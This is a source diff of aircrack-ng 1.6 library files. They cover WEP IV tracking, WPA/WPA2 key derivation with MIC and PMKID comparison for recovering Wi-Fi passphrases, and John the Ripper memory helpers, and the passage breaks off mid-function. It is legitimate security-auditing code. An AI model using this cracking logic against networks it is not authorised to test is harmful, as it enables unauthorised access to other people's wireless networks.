+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+/*
+ *  Each IV byte is stored in corresponding "level". We have 3 levels with
+ *  IV[2] as root index (level 0), IV[1] and IV[2] as level 2 and level 1
+ *  indices respectively. Space required to allocate all data is at maximum
+ *  2^24/8 (2 MB) and space required by filled index structures is 257 KB.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdlib.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/ce-wep/uniqueiv.h"
+
+/* allocate root structure */
+
+unsigned char ** uniqueiv_init(void)
+{
+	int i;
+
+	/* allocate root bucket (level 0) as vector of pointers */
+
+	unsigned char ** uiv_root
+		= (unsigned char **) malloc(256 * sizeof(unsigned char *));
+
+	if (uiv_root == NULL) return (NULL);
+
+	/* setup initial state as empty */
+
+	for (i = 0; i < 256; ++i) uiv_root[i] = NULL;
+
+	return (uiv_root);
+}
+
+/* update records with new IV */
+
+int uniqueiv_mark(unsigned char ** uiv_root, unsigned char IV[3])
+{
+	unsigned char ** uiv_lvl1;
+	unsigned char * uiv_lvl2;
+	short i;
+
+	if (uiv_root == NULL) return (0);
+
+	/* select bucket from level 1 */
+
+	uiv_lvl1 = (unsigned char **) uiv_root[IV[2]];
+
+	/* create if it doesn't exist */
+
+	if (uiv_lvl1 == NULL)
+	{
+		/* allocate level 2 bucket being a vector of bits */
+
+		uiv_lvl1 = (unsigned char **) malloc(256 * sizeof(unsigned char *));
+
+		if (uiv_lvl1 == NULL) return (1);
+
+		/* setup initial state as empty */
+
+		for (i = 0; i < 256; i++) uiv_lvl1[i] = NULL;
+
+		/* link to parent bucket */
+
+		uiv_root[IV[2]] = (unsigned char *) uiv_lvl1;
+	}
+
+	/* select bucket from level 2 */
+
+	uiv_lvl2 = (unsigned char *) uiv_lvl1[IV[1]];
+
+	/* create if it doesn't exist */
+
+	if (uiv_lvl2 == NULL)
+	{
+		/* allocate level 2 bucket as a vector of pointers */
+
+		uiv_lvl2 = (unsigned char *) malloc(32 * sizeof(unsigned char));
+
+		if (uiv_lvl2 == NULL) return (1);
+
+		/* setup initial state as empty */
+
+		for (i = 0; i < 32; i++) uiv_lvl2[i] = 0;
+
+		/* link to parent bucket */
+
+		uiv_lvl1[IV[1]] = uiv_lvl2;
+	}
+
+	/* place single bit into level 2 bucket */
+
+	uiv_lvl2[BITWISE_OFFT(IV[0])] |= BITWISE_MASK(IV[0]);
+
+	return (0);
+}
+
+/* check if already seen IV */
+
+int uniqueiv_check(unsigned char ** uiv_root, unsigned char IV[3])
+{
+	unsigned char ** uiv_lvl1;
+	unsigned char * uiv_lvl2;
+
+	if (uiv_root == NULL) return (IV_NOTHERE);
+
+	/* select bucket from level 1 */
+
+	uiv_lvl1 = (unsigned char **) uiv_root[IV[2]];
+
+	/* stop here if not even allocated */
+
+	if (uiv_lvl1 == NULL) return (IV_NOTHERE);
+
+	/* select bucket from level 2 */
+
+	uiv_lvl2 = (unsigned char *) uiv_lvl1[IV[1]];
+
+	/* stop here if not even allocated */
+
+	if (uiv_lvl2 == NULL) return (IV_NOTHERE);
+
+	/* check single bit from level 2 bucket */
+
+	if ((uiv_lvl2[BITWISE_OFFT(IV[0])] & BITWISE_MASK(IV[0])) == 0)
+		return (IV_NOTHERE);
+	else
+		return (IV_PRESENT);
+}
+
+/* unallocate everything */
+
+void uniqueiv_wipe(unsigned char ** uiv_root)
+{
+	int i, j;
+	unsigned char ** uiv_lvl1;
+	unsigned char * uiv_lvl2;
+
+	if (uiv_root == NULL) return;
+
+	/* recursively wipe out allocated buckets */
+
+	for (i = 0; i < 256; ++i)
+	{
+		uiv_lvl1 = (unsigned char **) uiv_root[i];
+
+		if (uiv_lvl1 != NULL)
+		{
+			for (j = 0; j < 256; ++j)
+			{
+				uiv_lvl2 = (unsigned char *) uiv_lvl1[j];
+
+				if (uiv_lvl2 != NULL)
+				{
+					free(uiv_lvl2);
+					uiv_lvl2 = NULL;
+				}
+			}
+
+			free(uiv_lvl1);
+			uiv_lvl1 = NULL;
+		}
+	}
+
+	free(uiv_root);
+	uiv_root = NULL;
+
+	return;
+}
+
+unsigned char * data_init(void)
+{
+	// It could eat up to (256*256*256) * 3 bytes = 48Mb :/
+	unsigned char * IVs
+		= (unsigned char *) calloc(256 * 256 * 256 * 3, sizeof(unsigned char));
+	ALLEGE(IVs != NULL);
+	return (IVs);
+}
+
+/* Checking WEP packet:
+ * The 2 first bytes of 2 different data packets having the same IV (for the
+ * same AP)
+ * should be exactly the same due to the fact that unencrypted, they are always
+ * the same:
+ * AA AA
+ */
+
+int data_check(unsigned char * data_root,
+			   unsigned char IV[3],
+			   unsigned char data[2])
+{
+	int IV_position, cloaking;
+
+	// Init vars
+	cloaking = NO_CLOAKING;
+
+	// Make sure it is allocated
+	if (data_root != NULL)
+	{
+		// Try to find IV
+		IV_position = (((IV[0] * 256) + IV[1]) * 256) + IV[2];
+		IV_position *= 3;
+
+		// Check if existing
+		if (*(data_root + IV_position) == 0)
+		{
+			// Not existing
+			*(data_root + IV_position) = 1;
+
+			// Add it
+			*(data_root + IV_position + 1) = data[0];
+			*(data_root + IV_position + 2) = data[1];
+		}
+		else
+		{
+			// Good, we found it, so check it now
+			if (*(data_root + IV_position + 1) != data[0]
+				|| *(data_root + IV_position + 2) != data[1])
+			{
+				cloaking = CLOAKING;
+			}
+		}
+	}
+	// else, cannot detect since it is not started
+
+	return (cloaking);
+}
+
+void data_wipe(unsigned char * data)
+{
+	if (data) free(data);
+}

aircrack-ng-1.6.tar.gz/lib/ce-wpa Added

aircrack-ng-1.6.tar.gz/lib/ce-wpa/crypto_engine.c Added

@@ -0,0 +1,630 @@
+/*
+ * Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#define _GNU_SOURCE
+#include <string.h>
+#include <stdint.h>
+
+#include <aircrack-ng/crypto/crypto.h>
+#include "aircrack-ng/ce-wpa/simd-intrinsics.h"
+#include "aircrack-ng/ce-wpa/wpapsk.h"
+#include "aircrack-ng/cpu/trampoline.h"
+#include "aircrack-ng/ce-wpa/crypto_engine.h"
+
+// #define XDEBUG
+
+#if defined(HAVE_OPENSSL_CMAC_H) || defined(GCRYPT_WITH_CMAC_AES)
+
+/* Code borrowed from https://w1.fi/wpa_supplicant/ starts */
+
+#define CMAC_AES_128_MAC_LEN 16
+#define SHA256_MAC_LEN 32
+typedef uint16_t u16;
+typedef uint8_t u8;
+
+static inline void WPA_PUT_LE16(u8 * a, u16 val)
+{
+	a[1] = (u8)(val >> 8u);
+	a[0] = (u8)(val & 0xff);
+}
+
+static void
+sha256_vector(size_t num_elem, const u8 * addr[], const size_t * len, u8 * mac)
+{
+	SHA256_CTX ctx;
+	size_t i;
+
+	SHA256_Init(&ctx);
+	for (i = 0; i < num_elem; i++)
+	{
+		SHA256_Update(&ctx, addr[i], len[i]);
+	}
+
+	SHA256_Final(mac, &ctx);
+}
+
+static void hmac_sha256_vector(const u8 * key,
+							   size_t key_len,
+							   size_t num_elem,
+							   const u8 * addr[],
+							   const size_t * len,
+							   u8 * mac)
+{
+	unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */
+	const u8 * _addr[6];
+	size_t _len[6], i;
+
+	/* the HMAC_SHA256 transform looks like:
+	 *
+	 * SHA256(K XOR opad, SHA256(K XOR ipad, text))
+	 *
+	 * where K is an n byte key
+	 * ipad is the byte 0x36 repeated 64 times
+	 * opad is the byte 0x5c repeated 64 times
+	 * and text is the data being protected */
+
+	/* start out by storing key in ipad */
+	memset(k_pad, 0, sizeof(k_pad));
+	memcpy(k_pad, key, key_len);
+	/* XOR key with ipad values */
+	for (i = 0; i < 64; i++) k_pad[i] ^= 0x36;
+
+	/* perform inner SHA256 */
+	_addr[0] = k_pad;
+	_len[0] = 64;
+	for (i = 0; i < num_elem; i++)
+	{
+		_addr[i + 1] = addr[i];
+		_len[i + 1] = len[i];
+	}
+	sha256_vector(1 + num_elem, _addr, _len, mac);
+
+	memset(k_pad, 0, sizeof(k_pad));
+	memcpy(k_pad, key, key_len);
+	/* XOR key with opad values */
+	for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c;
+
+	/* perform outer SHA256 */
+	_addr[0] = k_pad;
+	_len[0] = 64;
+	_addr[1] = mac;
+	_len[1] = SHA256_MAC_LEN;
+	sha256_vector(2, _addr, _len, mac);
+}
+
+static void sha256_prf_bits(const u8 * key,
+							size_t key_len,
+							const char * label,
+							const u8 * data,
+							size_t data_len,
+							u8 * buf,
+							size_t buf_len_bits)
+{
+	u16 counter = 1;
+	size_t pos, plen;
+	u8 hash[SHA256_MAC_LEN];
+	const u8 * addr[4];
+	size_t len[4];
+	u8 counter_le[2], length_le[2];
+	size_t buf_len = (buf_len_bits + 7) / 8;
+
+	addr[0] = counter_le;
+	len[0] = 2;
+	addr[1] = (u8 *) label;
+	len[1] = strlen(label);
+	addr[2] = data;
+	len[2] = data_len;
+	addr[3] = length_le;
+	len[3] = sizeof(length_le);
+
+	WPA_PUT_LE16(length_le, (u16) buf_len_bits);
+	pos = 0;
+
+	while (pos < buf_len)
+	{
+		plen = buf_len - pos;
+		WPA_PUT_LE16(counter_le, counter);
+		if (plen >= SHA256_MAC_LEN)
+		{
+			hmac_sha256_vector(key, key_len, 4, addr, len, &buf[pos]);
+			pos += SHA256_MAC_LEN;
+		}
+		else
+		{
+			hmac_sha256_vector(key, key_len, 4, addr, len, hash);
+			memcpy(&buf[pos], hash, plen);
+			pos += plen;
+			break;
+		}
+		counter++;
+	}
+
+	/*
+	 * Mask out unused bits in the last octet if it does not use all the
+	 * bits.
+	 */
+	if (buf_len_bits % 8)
+	{
+		u8 mask = (u8)(0xff << (8u - buf_len_bits % 8));
+		buf[pos - 1] &= mask;
+	}
+}
+#endif /* HAVE_OPENSSL_CMAC_H || GCRYPT_WITH_CMAC_AES */
+
+EXPORT int ac_crypto_engine_supported_features(void)
+{
+#if defined(JOHN_AVX512F)
+	return SIMD_SUPPORTS_AVX512F;
+#elif defined(JOHN_AVX2)
+	return SIMD_SUPPORTS_AVX2;
+#elif defined(JOHN_AVX)
+	return SIMD_SUPPORTS_AVX;
+#elif defined(JOHN_SSE2)
+	return SIMD_SUPPORTS_SSE2;
+#elif defined(JOHN_NEON)
+	return SIMD_SUPPORTS_NEON;
+#elif defined(JOHN_ASIMD)
+	return SIMD_SUPPORTS_ASIMD;
+#elif defined(JOHN_POWER8)
+	return SIMD_SUPPORTS_POWER8;
+#elif defined(JOHN_ALTIVEC)
+	return SIMD_SUPPORTS_ALTIVEC;
+#else
+	return SIMD_SUPPORTS_NONE;
+#endif
+}
+
+EXPORT int ac_crypto_engine_simd_width()
+{
+#ifdef SIMD_COEF_32
+	return SIMD_COEF_32;
+#else
+	return 1;
+#endif
+}
+
+EXPORT int ac_crypto_engine_init(ac_crypto_engine_t * engine)
+{
+	assert(engine != NULL);
+#ifdef XDEBUG
+	fprintf(stderr, "ac_crypto_engine_init(%p)\n", engine);
+#endif
+
+	init_atoi();
+
+	engine->essid = mem_calloc_align(1, ESSID_LENGTH + 1, MEM_ALIGN_SIMD);
+
+	engine->essid_length = 0;
+
+	for (int i = 0; i < MAX_THREADS; ++i) engine->thread_data[i] = NULL;
+
+	return 0;
+}
+
+EXPORT void ac_crypto_engine_destroy(ac_crypto_engine_t * engine)
+{
+	assert(engine != NULL);
+#ifdef XDEBUG
+	fprintf(stderr, "ac_crypto_engine_destroy(%p)\n", engine);
+#endif
+
+	MEM_FREE(engine->essid);
+	engine->essid = NULL;
+}
+
+EXPORT void ac_crypto_engine_set_essid(ac_crypto_engine_t * engine,
+									   const uint8_t * essid)
+{
+	assert(engine != NULL);
+#ifdef XDEBUG
+	fprintf(stderr, "ac_crypto_engine_set_essid(%p, %s)\n", engine, essid);
+#endif
+	memccpy(engine->essid, essid, 0, ESSID_LENGTH);
+	engine->essid_length = (uint32_t) strlen((char *) essid);
+}
+
+EXPORT int ac_crypto_engine_thread_init(ac_crypto_engine_t * engine,
+										int threadid)
+{
+	assert(engine != NULL);
+#ifdef XDEBUG
+	fprintf(stderr, "ac_crypto_engine_thread_init(%p, %d)\n", engine, threadid);
+#endif
+
+	// allocate per-thread data.
+	engine->thread_data[threadid] = mem_calloc_align(
+		1, sizeof(struct ac_crypto_engine_perthread), MEM_ALIGN_SIMD);
+
+	return 0;
+}
+
+EXPORT void ac_crypto_engine_thread_destroy(ac_crypto_engine_t * engine,
+											int threadid)
+{
+	assert(engine != NULL);
+#ifdef XDEBUG
+	fprintf(
+		stderr, "ac_crypto_engine_thread_destroy(%p, %d)\n", engine, threadid);
+#endif
+
+	if (engine->thread_data[threadid] != NULL)
+	{
+		MEM_FREE(engine->thread_data[threadid]);
+		engine->thread_data[threadid] = NULL;
+	}
+}
+
+EXPORT uint8_t *
+ac_crypto_engine_get_pmk(ac_crypto_engine_t * engine, int threadid, int index)
+{
+	return (uint8_t *) engine->thread_data[threadid]->pmk
+		   + (sizeof(wpapsk_hash) * index);
+}
+
+EXPORT uint8_t *
+ac_crypto_engine_get_ptk(ac_crypto_engine_t * engine, int threadid, int index)
+{
+	return (uint8_t *) engine->thread_data[threadid]->ptk + (20 * index);
+}
+
+EXPORT void ac_crypto_engine_calc_pke(ac_crypto_engine_t * engine,
+									  const uint8_t bssid[6],
+									  const uint8_t stmac[6],
+									  const uint8_t anonce[32],
+									  const uint8_t snonce[32],
+									  int threadid)
+{
+	uint8_t * pke = engine->thread_data[threadid]->pke;
+
+	assert(pke != NULL); //-V547
+
+	/* pre-compute the key expansion buffer */
+	memcpy(pke, "Pairwise key expansion", 23);
+	if (memcmp(stmac, bssid, 6) < 0)
+	{
+		memcpy(pke + 23, stmac, 6);
+		memcpy(pke + 29, bssid, 6);
+	}
+	else
+	{
+		memcpy(pke + 23, bssid, 6);
+		memcpy(pke + 29, stmac, 6);
+	}
+	if (memcmp(snonce, anonce, 32) < 0)
+	{
+		memcpy(pke + 35, snonce, 32);
+		memcpy(pke + 67, anonce, 32);
+	}
+	else
+	{
+		memcpy(pke + 35, anonce, 32);
+		memcpy(pke + 67, snonce, 32);
+	}
+}
+
+/* derive the PMK from the passphrase and the essid */
+EXPORT void ac_crypto_engine_calc_one_pmk(const uint8_t * key,
+										  const uint8_t * essid_pre,
+										  uint32_t essid_pre_len,
+										  uint8_t pmk[40])
+{
+	int i, j, slen;
+	unsigned char buffer[65];
+	char essid[33 + 4];
+	SHA_CTX ctx_ipad;
+	SHA_CTX ctx_opad;
+	SHA_CTX sha1_ctx;
+
+	assert(essid_pre != NULL);
+
+	if (essid_pre_len > 32)
+	{
+		essid_pre_len = 32;
+	}
+
+	memset(essid, 0, sizeof(essid));
+	memcpy(essid, essid_pre, essid_pre_len);
+	slen = (int) essid_pre_len + 4;
+
+	/* setup the inner and outer contexts */
+
+	memset(buffer, 0, sizeof(buffer));
+	strncpy((char *) buffer, (char *) key, sizeof(buffer) - 1);
+
+	for (i = 0; i < 64; i++) buffer[i] ^= 0x36;
+
+	SHA1_Init(&ctx_ipad);
+	SHA1_Update(&ctx_ipad, buffer, 64);
+
+	for (i = 0; i < 64; i++) buffer[i] ^= 0x6A;
+
+	SHA1_Init(&ctx_opad);
+	SHA1_Update(&ctx_opad, buffer, 64);
+
+	/* iterate HMAC-SHA1 over itself 8192 times */
+
+	essid[slen - 1] = '\1';
+	HMAC(EVP_sha1(),
+		 key,
+		 (int) strlen((char *) key),
+		 (unsigned char *) essid,
+		 (size_t) slen,
+		 pmk,
+		 NULL);
+	memcpy(buffer, pmk, 20); //-V512
+
+	for (i = 1; i < 4096; i++)
+	{
+		memcpy(&sha1_ctx, &ctx_ipad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
+
+		memcpy(&sha1_ctx, &ctx_opad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
+
+		for (j = 0; j < 20; j++) pmk[j] ^= buffer[j];
+	}
+
+	essid[slen - 1] = '\2';
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key,
+		 (int) strlen((char *) key),
+		 (unsigned char *) essid,
+		 (size_t) slen,
+		 pmk + 20,
+		 NULL);
+	memcpy(buffer, pmk + 20, 20);
+
+	for (i = 1; i < 4096; i++)
+	{
+		memcpy(&sha1_ctx, &ctx_ipad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
+
+		memcpy(&sha1_ctx, &ctx_opad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
+
+		for (j = 0; j < 20; j++) pmk[j + 20] ^= buffer[j];
+	}
+}
+
+EXPORT void ac_crypto_engine_calc_pmk(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const int nparallel,
+	const int threadid)
+{
+	wpapsk_hash * pmk = engine->thread_data[threadid]->pmk;
+
+// PMK calculation
+#ifdef SIMD_CORE
+	if (nparallel >= 4)
+	{
+		init_wpapsk(engine, key, nparallel, threadid);
+	}
+	else
+#endif
+		for (int j = 0; j < nparallel; ++j)
+		{
+#ifdef XDEBUG
+			printf("%lu: Trying: %s\n", pthread_self(), (char *) key[j].v);
+#endif
+			ac_crypto_engine_calc_one_pmk(key[j].v,
+										  (uint8_t *) engine->essid,
+										  engine->essid_length,
+										  (uint8_t *) (&pmk[j]));
+		}
+}
+
+EXPORT void ac_crypto_engine_calc_ptk(ac_crypto_engine_t * engine,
+									  const uint8_t keyver,
+									  int vectorIdx,
+									  int threadid)
+{
+	uint8_t * ptk = engine->thread_data[threadid]->ptk;
+	wpapsk_hash * pmk = engine->thread_data[threadid]->pmk;
+
+	if (keyver < 3)
+	{
+		for (int i = 0; i < 4; i++)
+		{
+			*(engine->thread_data[threadid]->pke + 99) = (unsigned char) i;
+
+			HMAC(EVP_sha1(),
+				 (&pmk[vectorIdx]),
+				 32,
+				 engine->thread_data[threadid]->pke,
+				 100,
+				 &ptk[vectorIdx] + i * 20,
+				 NULL);
+		}
+	}
+#if defined(HAVE_OPENSSL_CMAC_H) || defined(GCRYPT_WITH_CMAC_AES)
+	else
+	{
+		uint8_t data[64 + 12];
+
+		uint8_t * pke = &engine->thread_data[threadid]->pke[23];
+
+		memset(data, 0, sizeof(data));
+		memcpy(data, pke, 6);
+		memcpy(data + 6, pke + 6, 6);
+		memcpy(data + 12, pke + 35 - 23, 64); //-V512
+
+		sha256_prf_bits((unsigned char *) (pmk[vectorIdx].v),
+						32,
+						"Pairwise key expansion",
+						data,
+						76,
+						ptk,
+						48 * 8);
+	}
+#endif
+}
+
+EXPORT void ac_crypto_engine_calc_mic(ac_crypto_engine_t * engine,
+									  const uint8_t eapol[256],
+									  const uint32_t eapol_size,
+									  uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED]
+												 [20],
+									  const uint8_t keyver,
+									  const int vectorIdx,
+									  const int threadid)
+{
+	uint8_t * ptk = engine->thread_data[threadid]->ptk;
+
+	if (keyver == 1)
+		HMAC(EVP_md5(),
+			 &ptk[vectorIdx],
+			 16,
+			 eapol,
+			 eapol_size,
+			 mic[vectorIdx],
+			 NULL);
+	else if (keyver == 2)
+		HMAC(EVP_sha1(),
+			 &ptk[vectorIdx],
+			 16,
+			 eapol,
+			 eapol_size,
+			 mic[vectorIdx],
+			 NULL);
+#if defined(HAVE_OPENSSL_CMAC_H) || defined(GCRYPT_WITH_CMAC_AES)
+	else if (keyver == 3)
+	{
+		size_t miclen = CMAC_AES_128_MAC_LEN;
+		CMAC_CTX * ctx = NULL;
+
+		// Compute MIC
+		ctx = CMAC_CTX_new();
+		CMAC_Init(ctx, ptk, 16, EVP_aes_128_cbc(), 0);
+		CMAC_Update(ctx, eapol, eapol_size);
+		CMAC_Final(ctx, mic[vectorIdx], &miclen);
+		CMAC_CTX_free(ctx);
+	}
+#else
+	else if (keyver == 3)
+	{
+		fprintf(stderr,
+				"Key version %d is only supported when OpenSSL (or similar) "
+				"supports CMAC.\n",
+				keyver);
+		abort();
+	}
+#endif /* HAVE_OPENSSL_CMAC_H */
+	else
+	{
+		fprintf(stderr, "Unsupported key version %d encountered.\n", keyver);
+		if (keyver == 0) fprintf(stderr, "May be WPA3 - not yet supported.\n");
+		abort();
+	}
+}
+
+EXPORT int ac_crypto_engine_wpa_crack(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t eapol[256],
+	const uint32_t eapol_size,
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
+	const uint8_t keyver,
+	const uint8_t cmpmic[20],
+	const int nparallel,
+	const int threadid)
+{
+	ac_crypto_engine_calc_pmk(engine, key, nparallel, threadid);
+
+	for (int j = 0; j < nparallel; ++j)
+	{
+		/* compute the pairwise transient key and the frame MIC */
+
+		ac_crypto_engine_calc_ptk(engine, keyver, j, threadid);
+
+		ac_crypto_engine_calc_mic(
+			engine, eapol, eapol_size, mic, keyver, j, threadid);
+
+		/* did we successfully crack it? */
+		if (memcmp(mic[j], cmpmic, 16) == 0) //-V512
+		{
+			return j;
+		}
+	}
+
+	return -1;
+}
+
+EXPORT void ac_crypto_engine_set_pmkid_salt(ac_crypto_engine_t * engine,
+											const uint8_t bssid[6],
+											const uint8_t stmac[6],
+											int threadid)
+{
+	uint8_t * pke = engine->thread_data[threadid]->pke;
+
+	assert(pke != NULL); //-V547
+
+	/* pre-compute the PMKID salt buffer */
+	memcpy(pke, "PMK Name", 8);
+	memcpy(pke + 8, bssid, 6);
+	memcpy(pke + 14, stmac, 6);
+}
+
+EXPORT int ac_crypto_engine_wpa_pmkid_crack(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t pmkid[32],
+	const int nparallel,
+	const int threadid)
+{
+	ac_crypto_engine_calc_pmk(engine, key, nparallel, threadid);
+
+	uint8_t * pke = engine->thread_data[threadid]->pke;
+	wpapsk_hash * pmk = engine->thread_data[threadid]->pmk;
+	uint8_t l_pmkid[32];
+
+	for (int j = 0; j < nparallel; ++j)
+	{
+		HMAC(EVP_sha1(), &pmk[j], 32, pke, 20, l_pmkid, NULL);
+
+		/* did we successfully crack it? */
+		if (memcmp(l_pmkid, pmkid, 16) == 0) //-V512
+		{
+			return j;
+		}
+	}
+
+	return -1;
+}

aircrack-ng-1.6.tar.gz/lib/ce-wpa/memory.c Added

@@ -0,0 +1,841 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This file is part of John the Ripper password cracker,
+ * Copyright (c) 1996-98,2010,2012 by Solar Designer
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * There's ABSOLUTELY NO WARRANTY, express or implied.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <errno.h>
+#include <ctype.h> /* for isprint() */
+#if HAVE_MEMALIGN && HAVE_MALLOC_H
+#include <malloc.h>
+#endif
+
+#include "aircrack-ng/ce-wpa/arch.h"
+#include "aircrack-ng/ce-wpa/misc.h"
+#include "aircrack-ng/ce-wpa/memory.h"
+#include "aircrack-ng/ce-wpa/jcommon.h"
+#include "aircrack-ng/ce-wpa/johnswap.h"
+#include "aircrack-ng/ce-wpa/memdbg.h"
+
+#if defined(_MSC_VER) && !defined(MEMDBG_ON)
+#define malloc(a) _aligned_malloc(a, 16)
+#define realloc(a, b) _aligned_realloc(a, b, 16)
+#define calloc(a, b) memset(_aligned_malloc((a) * (b), 16), 0, (a) * (b))
+#define free(a) _aligned_free(a)
+char * strdup_MSVC(const char * str)
+{
+	char * s;
+	s = (char *) mem_alloc_func(strlen(str) + 1);
+	if (s != NULL) strcpy(s, str);
+	return s;
+}
+#endif
+
+unsigned int mem_saving_level = 0;
+
+// Add 'cleanup' methods for the mem_alloc_tiny.  VERY little cost, but
+// allows us to check for mem leaks easier.
+struct rm_list
+{
+	void * mem;
+	struct rm_list * next;
+};
+static struct rm_list * mem_alloc_tiny_memory;
+
+static void add_memory_link(void * v)
+{
+	struct rm_list * p = (struct rm_list *) mem_alloc(sizeof(struct rm_list));
+	p->next = mem_alloc_tiny_memory;
+	p->mem = v;
+	mem_alloc_tiny_memory = p;
+	// mark these as 'tiny' memory, so that memory snapshot checking does not
+	// flag these as leaks.  At program exit, this memory will still get
+	// checked,
+	// but it should be freed, so will still be globally checked for leaks.
+	MEMDBG_tag_mem_from_alloc_tiny(v);
+	MEMDBG_tag_mem_from_alloc_tiny((void *) p);
+}
+// call at program exit.
+void cleanup_tiny_memory(void)
+{
+	struct rm_list *p = mem_alloc_tiny_memory, *p2;
+	for (;;)
+	{
+		if (!p) return;
+		free(p->mem);
+		p2 = p->next;
+		free(p);
+		p = p2;
+	}
+}
+
+void * mem_alloc_func(size_t size
+#if defined(MEMDBG_ON)
+					  ,
+					  char * file,
+					  int line
+#endif
+					  )
+{
+	void * res;
+
+	if (!size) return NULL;
+#if defined(MEMDBG_ON)
+	res = (char *) MEMDBG_alloc(size, file, line);
+#else
+	res = malloc(size);
+#endif
+	if (!res)
+	{
+		fprintf(stderr,
+				"mem_alloc(): %s trying to allocate " Zu " bytes\n",
+				strerror(ENOMEM),
+				size);
+		MEMDBG_PROGRAM_EXIT_CHECKS(stderr);
+		perror("mem_alloc");
+	}
+
+	return res;
+}
+
+void * mem_calloc_func(size_t count,
+					   size_t size
+#if defined(MEMDBG_ON)
+					   ,
+					   char * file,
+					   int line
+#endif
+					   )
+{
+	void * res;
+
+	if (!count || !size) return NULL;
+#if defined(MEMDBG_ON)
+	size *= count;
+	res = (char *) MEMDBG_alloc(size, file, line);
+	memset(res, 0, size);
+#else
+	res = calloc(count, size);
+#endif
+	if (!res)
+	{
+		fprintf(stderr,
+				"mem_calloc(): %s trying to allocate " Zu " bytes\n",
+				strerror(ENOMEM),
+				count * size);
